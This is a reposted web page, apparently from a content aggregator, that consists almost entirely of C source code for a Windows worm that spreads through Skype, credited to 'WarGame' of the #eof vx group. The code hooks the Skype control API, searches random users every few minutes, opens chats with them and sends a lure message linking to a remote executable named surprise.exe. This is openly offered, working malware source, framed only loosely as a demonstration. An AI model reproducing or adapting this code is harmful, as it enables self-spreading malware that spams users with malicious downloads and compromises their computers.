Skype IM Worm

來源:互聯網
上載者:User

Skype IM Worm

/***********************************************************************************************
* I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to      *
* chat or to do VoIP call, so it is possible to use this program like a spreading vector.     *
* I tried to do direct file transfer but it didn't work so well, so I decided to send url     *
* to worm to the found users.                                                                 *
* This is only a demonstration, this is a direct action worm, it will work only if skype      *
* is installed.                                                                               *
* Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody   *
* on #vx-lab and #eof-project                                                                 *
* bye bye ... by WarGame                                                                      *
***********************************************************************************************/

#include <windows.h>

/* Global handlers */
static UINT SkypeAttach;
static UINT SkypeDiscover;
static HWND Answer = NULL;
static HWND SkypeWnd = NULL;
static char rnd_nick[2];

/* generate random nicks to search */
void GetRandNick(void)
{
       
        char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm";

        srand(GetTickCount());
        rnd_nick[0] = possible_searches[rand()%26];
        rnd_nick[1] = 0;

}

DWORD WINAPI S3arch(LPVOID Data)
{
        char msg[128];
        COPYDATASTRUCT cds;
   
        while(1)
        {
        GetRandNick();
        sprintf(msg,"SEARCH USERS %s",rnd_nick);
        cds.dwData= 0;
    cds.lpData= msg;
    cds.cbData= strlen(msg)+1;              
        if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds))
        {
                /* skype closed */
                ExitProcess(0);
        }
        Sleep((1000*60)*3); /* every 3 minutes */
        }
}

LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
        PCOPYDATASTRUCT SkypeData = NULL;
        DWORD ThreadID;
        char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256];
        COPYDATASTRUCT cds;
       
        if(uMsg == SkypeAttach)
        {
                if(lParam == 0)
                {
                        SkypeWnd = (HWND)wParam;
                    CreateThread(NULL,0,&S3arch,0,0,&ThreadID);
                }
        }

        if(uMsg == WM_COPYDATA)
        {
                if(wParam == SkypeWnd)
                {
                        SkypeData=(PCOPYDATASTRUCT)lParam;
                       
                        if(SkypeData != NULL)
                        {
                               
                                if(strstr(SkypeData->lpData,"CHAT "))
                                {
                                        strtok(SkypeData->lpData," ");
                                        chat_id = strtok(NULL," ");
                                        /* this will send the url to everybody */
                                        sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id);

                                        cds.dwData= 0;
                    cds.lpData= msg_cmd;
                    cds.cbData= strlen(msg_cmd)+1;              
                        SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
                                }
                               
                                if(strstr(SkypeData->lpData,"USERS "))
                                {
                                        found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096);
                                       
                                        if(found_users == NULL)
                                        {
                                                ExitProcess(0);
                                        }

                                        chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128);
                                       
                                        if(chat_cmd == NULL)
                                        {
                                                ExitProcess(0);
                                        }

                                        strcpy(found_users,(char *)SkypeData->lpData);

                                        strcpy(found_users,found_users+6);

                                        sprintf(chat_cmd,"CHAT CREATE %s",found_users);
                                       
                                        /* contact them */
                                        cds.dwData= 0;
                    cds.lpData= chat_cmd;
                    cds.cbData= strlen(chat_cmd)+1;              
                        SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
                                       
                                        GlobalFree(found_users);
                                        GlobalFree(chat_cmd);

                                }
                        }
                }
        }
       
        DefWindowProc( hWnd, uMsg , wParam, lParam);

        return 1; /* != 0 */
}

void MakeWindow(void)
{
        WNDCLASS wndcls;
       
        memset(&wndcls,0,sizeof(WNDCLASS));
       
        wndcls.lpszClassName = "WarSkype by [WarGame,#eof]";
        wndcls.lpfnWndProc = SkypeProc;

        if(RegisterClass(&wndcls) == 0)
        {
                ExitProcess(0);
        }

        Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0,
                (HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL);

        if(Answer == NULL)
        {
                ExitProcess(0);
        }
}

void RunSkype(void)
{
        HKEY hKey;
        char skype_path[MAX_PATH];
        DWORD len = MAX_PATH;
        STARTUPINFO inf_prog;
    PROCESS_INFORMATION info_pr;
        int user_ret;

#define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); /
                  ExitProcess(0);

       /* path of skype in registry */
                if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//Skype//Phone",0,
                        KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)
                {
                        ERROR
                }
        
                if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path,
                        &len) != ERROR_SUCCESS)
                {
                        ERROR
                }

                RegCloseKey(hKey);

                memset(&inf_prog,0,sizeof(STARTUPINFO));
            memset(&info_pr,0,sizeof(PROCESS_INFORMATION));

            inf_prog.cb = sizeof(STARTUPINFO);
        inf_prog.dwFlags = STARTF_USESHOWWINDOW;
        inf_prog.wShowWindow = SW_SHOW;

                if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,
                        NULL,&inf_prog,&info_pr))
                {
                        MessageBox(NULL,"Allow this program in skype!","Warning!"
                                ,MB_OK|MB_ICONWARNING);
                }

                else
                {
                        ERROR
                }
}

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
        MSG oMessage;
        SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach");
        SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
       
        RunSkype(); /* (try to) run skype */
       
        if(SkypeAttach != 0 && SkypeDiscover != 0)
        {       
                MakeWindow(); /* Create window */
                SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0);

                while(GetMessage( &oMessage, 0, 0, 0)!=FALSE)
                {
                TranslateMessage(&oMessage);
                DispatchMessage(&oMessage);
                }
               

        }

}
 

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.